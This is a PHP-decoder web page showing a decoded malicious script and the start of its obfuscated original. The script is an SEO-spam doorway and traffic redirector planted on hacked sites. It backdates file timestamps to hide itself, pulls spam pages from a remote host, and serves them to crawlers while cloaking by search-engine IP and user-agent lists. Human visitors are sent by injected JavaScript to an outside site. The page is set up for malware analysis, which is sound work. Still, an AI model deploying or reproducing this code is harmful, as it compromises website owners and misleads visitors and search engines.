Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $rcjd = 'g'. 'z'. 'u'. 'n'. 'c'. 'o'. 'm'. 'p'. 'r'. 'e'. 's'. 's';$ugffoffu = 'bas'..
Decoded Output download
$rzjwkv = 'vgkfgtma_ioyvedrhewuztkufbldnldfcwowcxhctaszxomjxvwftawrlmcvokohwusgjltjxxjlavmmiusvk'; ;
error_reporting(0);
define("BASE_URL","http://e.ad-net.top/09_books/");
define("GROUP_NAME","09-5-9-2018-4");
$cache = true;
if(!function_exists('scandir')) {
function scandir($dir, $sortorder = 0) {
if(is_dir($dir)) {
$dirlist = opendir($dir);
while( ($file = readdir($dirlist)) !== false) {
if(!is_dir($file)) {
$files[] = $file;
}
}
($sortorder == 0) ? asort($files) : rsort($files);
return $files;
} else {
return FALSE;
}
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
$tdir = '.backup';
if (!file_exists($tdir)) mkdir($tdir);
$time = time() - 60*24*3601;
$dr = getenv('DOCUMENT_ROOT');
if (@filemtime(dirname(__FILE__)) > $time || @filemtime('.'.getenv('PHP_SELF')) > $time || @filemtime(getenv('SCRIPT_FILENAME')) > $time)
{
$files = @scandir($dr);
for ($i=0;$i<count($files);$i++)
{
if(stristr($files[$i], '.php') || stristr($files[$i], '.htm'))
{
if (filemtime($dr."/".$files[$i]) < $time) $time = filemtime($dr."/".$files[$i]);
break;
}
}
@touch(dirname(__FILE__), $time);
@touch(getenv('SCRIPT_FILENAME'), $time);
@touch('.'.getenv('PHP_SELF'), $time);
@touch($tdir, $time);
@touch('.htaccess', $time);
}
if (!isset($_GET['q']) || strlen($_GET['q'])<1)
{
$q = 'MAINDOOR';
}
else $q = $_GET['q'];
if ($q == 'yesitsourtest01') {
echo '__OK__';
exit(0);
}
if (strlen($q) < 1) $q = 'MAINDOOR';
$q = rm_rand_str($q);
$domain = getenv('HTTP_HOST');
$ip = getenv('REMOTE_ADDR');
$ua = getenv('HTTP_USER_AGENT');
$sagent = strtolower($ua);
$ref = getenv('HTTP_REFERER');
$requrl = getenv('REQUEST_URI');
$keyword = $q;
$downkey = urlencode(trim(preg_replace('/(buy|view|read|online|pdf|epub|book|ebook|shop|download|free)/i', '', $q),'-'));
$stat = 'http://books.odintara.com:1080/read.html'.'?keyword='.$downkey.'&se='.GROUP_NAME.'&ur=1&default_keyword='.$downkey.'&HTTP_REFERER=http://'.htmlentities($domain.$requrl);
$tds_answer = '<script type="text/javascript">var url="'.$stat.'";self.location.href=url;top.location.href!=self.location.href&&(top.location.href=self.location.href);window!=top?top.location.href=url:document.location=url;</script>';
if (!human($sagent,$ip) || isBlackListedUA()) $tds_answer = '';
$fn = md5(urlencode($q));
if ($cache && file_exists($tdir.'/.'.$fn)) {
$content = file_get_contents($tdir.'/.'.$fn);
} else {
$content = cc2(BASE_URL.'/content.php?d='.$domain.'&kw='.$keyword,60);
if ($cache && strlen($content)>500) file_put_contents($tdir.'/.'.$fn, $content);
else if (file_exists($tdir.'/.'.md5('MAINDOOR'))) $content = file_get_contents($tdir.'/.'.md5('MAINDOOR'));
}
$content = gzinflate($content);
$content = str_replace('{tds:answer}', $tds_answer, $content);
if (!human($sagent,$ip) || isBlackListedUA())
{
if (strpos(strtolower($keyword),'.xml') !== false) header('Content-type: application/xml');
echo $content;
}
else if (strpos(strtolower($keyword),'.xml') !== false)
{
echo '<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>'.$keyword.'</title>'.$tds_answer.'</head><body>Get redirected...</body></html>';
}
else echo $content;
function rm_rand_str($q) {
$arr = array('/\.php$/i','/\.htm$/i','/\.html$/i','#/$#','/\-\-.*$/');
$q = preg_replace($arr,'',$q);
$order = array("\s", " ", "+");
$q = str_replace($order,'-',$q);
$q = mysql_escape_mimic($q);
return $q;
}
function mysql_escape_mimic($inp) {
if(is_array($inp))
return array_map(__METHOD__, $inp);
if(!empty($inp) && is_string($inp)) {
return str_replace(array('\', "", "
", "
", "'", '"', ""), array('\', '', '
', '
', "\'", '\"', '\Z'), $inp);
}
return $inp;
}
function human($server_user_agent,$server_ip)
{
$stop_ips_masks = array
(
'209\.73\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '216\.39\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '111\.13\.102\.[0-9]{1,3}', '119\.63\.19[2-9]\.[0-9]{1,3}', '119\.63\.196\.[0-9]{1,3}', '119\.63\.199\.[0-9]{1,3}', '122\.81\.(21[01]|20[89])\.[0-9]{1,3}', '123\.125\.67\.(15[01]|14[4-9])', '123\.125\.67\.15[23]', '123\.125\.68\.[0-9]{1,3}', '123\.125\.68\.(7[01]|6[89])', '123\.125\.68\.7[2-9]', '123\.125\.68\.(9[0-5]|8[0-9])', '123\.125\.68\.8[0-3]', '123\.125\.68\.8[45]', '123\.125\.68\.9[6-9]', '123\.125\.71\.[0-9]{1,3}', '125\.39\.7[89]\.[0-9]{1,3}', '180\.76\.[0-9]{1,3}\.[0-9]{1,3}', '180\.76\.15\.[0-9]{1,3}', '180\.76\.4\.[0-9]{1,3}', '180\.76\.5\.[0-9]{1,3}', '180\.76\.6\.[0-9]{1,3}', '185\.10\.104\.[0-9]{1,3}', '202\.46\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '202\.46\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '220\.181\.108\.[0-9]{1,3}', '220\.181\.38\.[0-9]{1,3}', '220\.181\.51\.[0-9]{1,3}', '61\.135\.169\.[0-9]{1,3}', '203\.208\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '203\.208\.60\.[0-9]{1,3}', '209\.85\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '209\.85\.238\.[0-9]{1,3}', '216\.239\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '216\.3[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '64\.233\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '64\.68\.8[0-7]\.[0-9]{1,3}', '66\.249\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.(7[0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.90\.[0-9]{1,3}', '66\.249\.91\.[0-9]{1,3}', '66\.249\.92\.[0-9]{1,3}', '72\.14\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '72\.14\.199\.[0-9]{1,3}', '8\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', '8\.6\.(5[0-5]|4[89])\.[0-9]{1,3}', '198\.5\.(21[01]|20[89])\.[0-9]{1,3}', '205\.226\.20[0-7]\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '209\.202\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '131\.107\.[0-9]{1,3}\.[0-9]{1,3}', '131\.253\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '131\.253\.2[4-7]\.[0-9]{1,3}', '131\.253\.4[67]\.[0-9]{1,3}', '131\.253\.61\.[0-9]{1,3}', '131\.253\.6[23]\.[0-9]{1,3}', '131\.253\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '157\.5[45]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.55\.109\.[0-9]{1,3}', '157\.55\.110\.4[0-7]', '157\.55\.110\.(6[0-3]|5[0-9]|4[89])', '157\.55\.1[67]\.[0-9]{1,3}', '157\.55\.18\.[0-9]{1,3}', '157\.55\.3[2-5]\.[0-9]{1,3}', '157\.55\.36\.[0-9]{1,3}', '157\.55\.39\.[0-9]{1,3}', '157\.55\.48\.[0-9]{1,3}', '157\.5[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.56\.229\.[0-9]{1,3}', '157\.56\.92\.[0-9]{1,3}', '157\.56\.93\.[0-9]{1,3}', '157\.56\.9[45]\.[0-9]{1,3}', '157\.60\.[0-9]{1,3}\.[0-9]{1,3}', '199\.30\.(3[01]|2[0-9]|1[6-9])\.[0-9]{1,3}', '199\.30\.16\.[0-9]{1,3}', '199\.30\.27\.[0-9]{1,3}', '202\.96\.51\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '204\.95\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '207\.46\.[0-9]{1,3}\.[0-9]{1,3}', '207\.46\.0\.[0-9]{1,3}', '207\.46\.1[23]\.[0-9]{1,3}', '207\.46\.192\.[0-9]{1,3}', '207\.46\.195\.[0-9]{1,3}', '207\.46\.199\.[0-9]{1,3}', '207\.46\.204\.[0-9]{1,3}', '207\.68\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}', '208\.68\.(14[0-3]|13[6-9])\.[0-9]{1,3}', '213\.199\.(14[0-3]|13[0-9]|12[89])\.[0-9]{1,3}', '219\.142\.53\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '40\.11[2-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.12[0-3]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.124\.[0-9]{1,3}\.[0-9]{1,3}', '40\.125\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])\.[0-9]{1,3}', '40\.7[45]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.7[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.77\.167\.[0-9]{1,3}', '40\.(9[0-5]|8[0-9])\.[0-9]{1,3}\.[0-9]{1,3}', '40\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}\.[0-9]{1,3}', '64\.4\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '65\.5[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '65\.52\.104\.[0-9]{1,3}', '65\.52\.(11[01]|10[89])\.[0-9]{1,3}', '65\.55\.213\.[0-9]{1,3}', '65\.55\.217\.[0-9]{1,3}', '65\.55\.24\.[0-9]{1,3}', '65\.55\.52\.[0-9]{1,3}', '65\.55\.55\.[0-9]{1,3}', '114\.111\.95\.[0-9]{1,3}', '124\.83\.159\.[0-9]{1,3}', '124\.83\.179\.[0-9]{1,3}', '124\.83\.223\.[0-9]{1,3}', '183\.79\.[0-9]{1,3}\.[0-9]{1,3}', '183\.79\.63\.[0-9]{1,3}', '183\.79\.92\.[0-9]{1,3}', '202\.160\.(19[01]|18[0-9]|17[6-9])\.[0-9]{1,3}', '202\.165\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '202\.46\.19\.[0-9]{1,3}', '203\.141\.(4[0-7]|3[2-9])\.[0-9]{1,3}', '203\.216\.255\.[0-9]{1,3}', '206\.190\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '206\.3\.(3[01]|[12]?[0-9])\.[0-9]{1,3}', '207\.126\.(23[0-9]|22[4-9])\.[0-9]{1,3}', '209\.131\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '209\.191\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '210\.236\.233\.[0-9]{1,3}', '211\.13\.230\.[0-9]{1,3}', '211\.14\.11\.[0-9]{1,3}', '211\.14\.8\.[0-9]{1,3}', '216\.109\.(12[0-7]|11[2-9])\.[0-9]{1,3}', '216\.136\.23[2-5]\.[0-9]{1,3}', '216\.145\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '216\.155\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '63\.163\.102\.[0-9]{1,3}', '64\.157\.13[6-9]\.[0-9]{1,3}', '66\.163\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '66\.218\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.228\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.94\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '67\.195\.[0-9]{1,3}\.[0-9]{1,3}', '67\.195\.110\.[0-9]{1,3}', '67\.195\.111\.[0-9]{1,3}', '67\.195\.11[23]\.[0-9]{1,3}', '67\.195\.114\.[0-9]{1,3}', '67\.195\.115\.[0-9]{1,3}', '67\.195\.37\.[0-9]{1,3}', '67\.195\.50\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '68\.180\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '68\.180\.(23[01]|22[4-9])\.[0-9]{1,3}', '69\.147\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '72\.30\.[0-9]{1,3}\.[0-9]{1,3}', '72\.30\.132\.[0-9]{1,3}', '72\.30\.142\.[0-9]{1,3}', '72\.30\.161\.[0-9]{1,3}', '72\.30\.196\.[0-9]{1,3}', '72\.30\.198\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '74\.6\.13\.[0-9]{1,3}', '74\.6\.17\.[0-9]{1,3}', '74\.6\.18\.[0-9]{1,3}', '74\.6\.22\.[0-9]{1,3}', '74\.6\.254\.[0-9]{1,3}', '74\.6\.27\.[0-9]{1,3}', '74\.6\.8\.[0-9]{1,3}', '98\.13[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '98\.137\.206\.[0-9]{1,3}', '98\.137\.207\.[0-9]{1,3}', '98\.137\.72\.[0-9]{1,3}', '98\.139\.168\.[0-9]{1,3}', '100\.43\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '100\.43\.80\.[0-9]{1,3}', '100\.43\.81\.[0-9]{1,3}', '100\.43\.85\.[0-9]{1,3}', '100\.43\.90\.[0-9]{1,3}', '100\.43\.91\.[0-9]{1,3}', '130\.193\.62\.[0-9]{1,3}', '141\.8\.143\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '141\.8\.153\.[0-9]{1,3}', '141\.8\.153\.(12[0-7]|11[2-9])', '178\.154\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '178\.154\.165\.[0-9]{1,3}', '178\.154\.166\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '178\.154\.200\.[0-9]{1,3}', '178\.154\.202\.[0-9]{1,3}', '178\.154\.205\.[0-9]{1,3}', '178\.154\.21[01]\.[0-9]{1,3}', '178\.154\.239\.[0-9]{1,3}', '178\.154\.243\.[0-9]{1,3}', '199\.21\.9[6-9]\.[0-9]{1,3}', '199\.21\.99\.[0-9]{1,3}', '213\.180\.(22[0-3]|2[01][0-9]|19[2-9])\.[0-9]{1,3}', '213\.180\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '213\.180\.(21[0-5]|20[89])\.[0-9]{1,3}', '213\.180\.21[6-9]\.[0-9]{1,3}', '37\.140\.141\.[0-9]{1,3}', '37\.140\.165\.[0-9]{1,3}', '37\.140\.188\.[0-9]{1,3}', '37\.9\.115\.[0-9]{1,3}', '37\.9\.8[4-7]\.[0-9]{1,3}', '5\.255\.253\.[0-9]{1,3}', '5\.45\.254\.[0-9]{1,3}', '77\.88\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '77\.88\.22\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '77\.88\.29\.[0-9]{1,3}', '77\.88\.31\.[0-9]{1,3}', '77\.88\.59\.[0-9]{1,3}', '84\.201\.146\.[0-9]{1,3}', '84\.201\.148\.[0-9]{1,3}', '84\.201\.149\.[0-9]{1,3}', '87\.250\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '87\.250\.243\.[0-9]{1,3}', '87\.250\.253\.[0-9]{1,3}', '93\.158\.147\.[0-9]{1,3}', '93\.158\.148\.[0-9]{1,3}', '93\.158\.151\.[0-9]{1,3}', '93\.158\.153\.[0-9]{1,3}', '95\.108\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '95\.108\.128\.[0-9]{1,3}', '95\.108\.138\.[0-9]{1,3}', '95\.108\.15[01]\.[0-9]{1,3}', '95\.108\.156\.[0-9]{1,3}', '95\.108\.158\.[0-9]{1,3}', '95\.108\.188\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '95\.108\.234\.[0-9]{1,3}', '95\.108\.24[67]\.[0-9]{1,3}', '95\.108\.248\.[0-9]{1,3}', '95\.158\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}',
"66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "66\.108\.185\.[0-9]+", "70\.91\.180\.25",
"65\.93\.62\.242",
"74\.193\.246\.129",
"213\.144\.15\.38",
"195\.92\.229\.2",
"70\.50\.189\.191",
"218\.28\.88\.99",
"165\.160\.2\.20",
"89\.122\.224\.230",
"66\.230\.175\.124",
"218\.18\.174\.27",
"65\.33\.87\.94",
"67\.210\.111\.241",
"81\.135\.175\.70",
"64\.69\.34\.134",
"89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+",
"64\.233\.19[0-1]\.[0-9]+",
"209\.185\.108\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.85\.238\.[0-9]+",
"216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]",
"216\.239\.39\.9[8-9]",
"216\.239\.41\.9[6-9]",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.9[6-9]",
"216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]",
"216\.239\.59\.9[8-9]",
"216\.33\.229\.163",
"64\.233\.173\.[0-9]+",
"64\.68\.8[0-9]\.[0-9]+",
"64\.68\.9[0-2]\.[0-9]+",
"72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+",
"207\.211\.40\.82",
"67\.162\.158\.146",
"66\.255\.53\.123",
"24\.200\.208\.112",
"129\.187\.148\.240",
"129\.187\.148\.244",
"199\.126\.151\.229",
"118\.124\.32\.193",
"89\.149\.217\.191",
"114\.36\.1\.[0-9]+",
"104\.131\.98\.[0-9]+","200\.232\.28\.[0-9]+","200\.178\.129\.[0-9]+",
"76\.92\.177\.[0-9]+",
"107\.167\.109\.[0-9]+","172\.56\.44\.[0-9]+","5\.221\.204\.[0-9]+",
"82\.236\.192\.[0-9]+","217\.36\.226\.[0-9]+",
"110\.54\.2[0-9]+\.[0-9]+","110\.54\.12[0-9]+\.[0-9]+",
"180\.191\.146\.[0-9]+",
"112\.200\.233\.[0-9]+",
"76\.178\.148\.[0-9]+",
"122\.2\.241\.[0-9]+","180\.190\.106\.[0-9]+","122\.2\.241\.[0-9]+","141\.43\.128\.76","180\.191\.71\.[0-9]+",
"112\.202\.167\.[0-9]+","180\.190\.103\.[0-9]+","112\.207\.30\.[0-9]+","183\.82\.39\.[0-9]+","112\.207\.21\.[0-9]+","110\.54\.238\.[0-9]+",
"112\.202\.169\.[0-9]+",
"49\.150\.7\.[0-9]+",
"222\.152\.62\.[0-9]+","110\.54\.248\.[0-9]+",
"94\.186\.102\.178","129\.120\.246\.[0-9]+","129\.120\.231\.[0-9]+",
"69\.30\.218\.[0-9]+","96\.62\.169\.[0-9]+","185\.122\.56\.[0-9]+","176\.126\.245\.[0-9]+",
"89\.163\.225\.[0-9]+",
"76\.8\.67\.[0-9]+",
"72\.208\.61\.[0-9]+",
"220\.158\.162\.[0-9]+",
"17\.58\.20\.[0-9]+","194\.11\.254\.[0-9]+","139\.130\.162\.[0-9]+",
"203\.220\.172\.[0-9]+",
"75\.150\.208\.[0-9]+",
"217\.172\.143\.[0-9]+",
"213\.152\.242\.[0-9]+",
"107\.185\.57\.[0-9]+",
"104\.6\.64\.[0-9]+",
"192\.92\.196\.[0-9]+",
"204\.79\.180\.[0-9]+",
"35\.165\.39\.[0-9]+",
"52\.25\.149\.[0-9]+",
"135\.84\.80\.[0-9]+",
"69\.156\.93\.[0-9]+",
"185\.30\.145\.[0-9]+",
"107\.133\.4\.[0-9]+",
"177\.84\.109\.[0-9]+",
);
$stop_agents_masks = array('http', 'google', 'slurp', 'msnbot', 'bot', 'crawl', 'spider', 'robot', 'httpclient', 'curl', 'php', 'indy library', 'wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget','bing');
foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/$stop_ip_mask/", $server_ip)) {
return false;
}
foreach($stop_agents_masks as $stop_agents_mask) if(preg_match("/$stop_agents_mask/", $server_user_agent)){
return false;
}
if(strlen($server_user_agent)<=11) {
return false;
}
return true;
}
function isBlackListedUA()
{
if (strlen(getenv('HTTP_USER_AGENT'))<=11) return true;
if (!getenv('HTTP_ACCEPT_LANGUAGE') || !getenv('HTTP_ACCEPT_ENCODING') || !getenv('HTTP_ACCEPT')) return true;
if (getenv('HTTP_ACCEPT_LANGUAGE') == '' || getenv('HTTP_ACCEPT_ENCODING') == '' || getenv('HTTP_ACCEPT') == '') return true;
return false;
}
function cc2($url,$to = 10)
{
$agents = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"
);
if (function_exists('curl_init') && function_exists('curl_exec'))
{
$agent = $agents[rand(0,count($agents)-1)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
if (!(@ini_get('safe_mode') || @ini_get('open_basedir')))
{
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false)
{
return $content;
}
}
else if (function_exists('fsockopen'))
{
global $oldheader;
$a = $agents[rand(0,count($agents)-1)];
$protocol = (stripos($url,'https://') !== false) ? 'https://' : 'http://';
$url = str_replace($protocol,"",$url);
if (preg_match("#/#","$url"))
{
$page = $url;
$url = @explode("/",$url);
$url = $url[0];
$page = str_replace($url,"",$page);
if (!$page || $page == "")
{
$page = "/";
}
$ip = gethostbyname($url);
}else{
$ip = gethostbyname($url);
$page = "/";
}
$open = fsockopen($ip, 80, $errno, $errstr, $to);
stream_set_timeout($open,$to);
if ($open)
{
$send = "GET $page HTTP/1.0
";
$send .= "Host: $url
";
$send .= "Referer: $protocol$url$page
";
$send .= "Accept-Language: en-us, en;q=0.50
";
$send .= "User-Agent: $a
";
$send .= "Connection: Close
";
fputs($open, $send);
while (!feof($open))
{
$return .= fgets($open, 4096);
}
fclose($open);
$return = @explode("
",$return,2);
$header = $return[0];
if ($oldheader)
{
$header = "$oldheader<br /><br />
$header";
}
$header = str_replace("
","<br />",$header);
if ($return[1])
{
$body = $return[1];
}else{
$body = "";
}
if ($body)
{
$return = $body;
}else{
$return = $header;
}
if (preg_match("/Location\:/","$header"))
{
$url = @explode("Location: ",$header);
$url = $url[1];
$url = @explode("
",$url);
$url = $url[0];
$oldheader = str_replace("
","",$header);
$l = "Location:";
$oldheader = str_replace("Location:",$l,$oldheader);
return cc2($url);
}else{
return $return;
}
}
}
else if (ini_get('allow_url_fopen') == '1')
{
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $to
)
)
);
$content = file_get_contents($url, 0, $ctx);
if ($content !== false)
{
return $content;
}
}
else
{
return 0;
}
}
?>
Did this file decode correctly?
Original Code
<?php $rcjd = 'g'. 'z'. 'u'. 'n'. 'c'. 'o'. 'm'. 'p'. 'r'. 'e'. 's'. 's';$ugffoffu = 'bas' .'e64' .'_de' .'cod' .'e';$wwbgik = 'imp' .'lod' .'e';$ocs_habvz = array("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","ThKl2lTa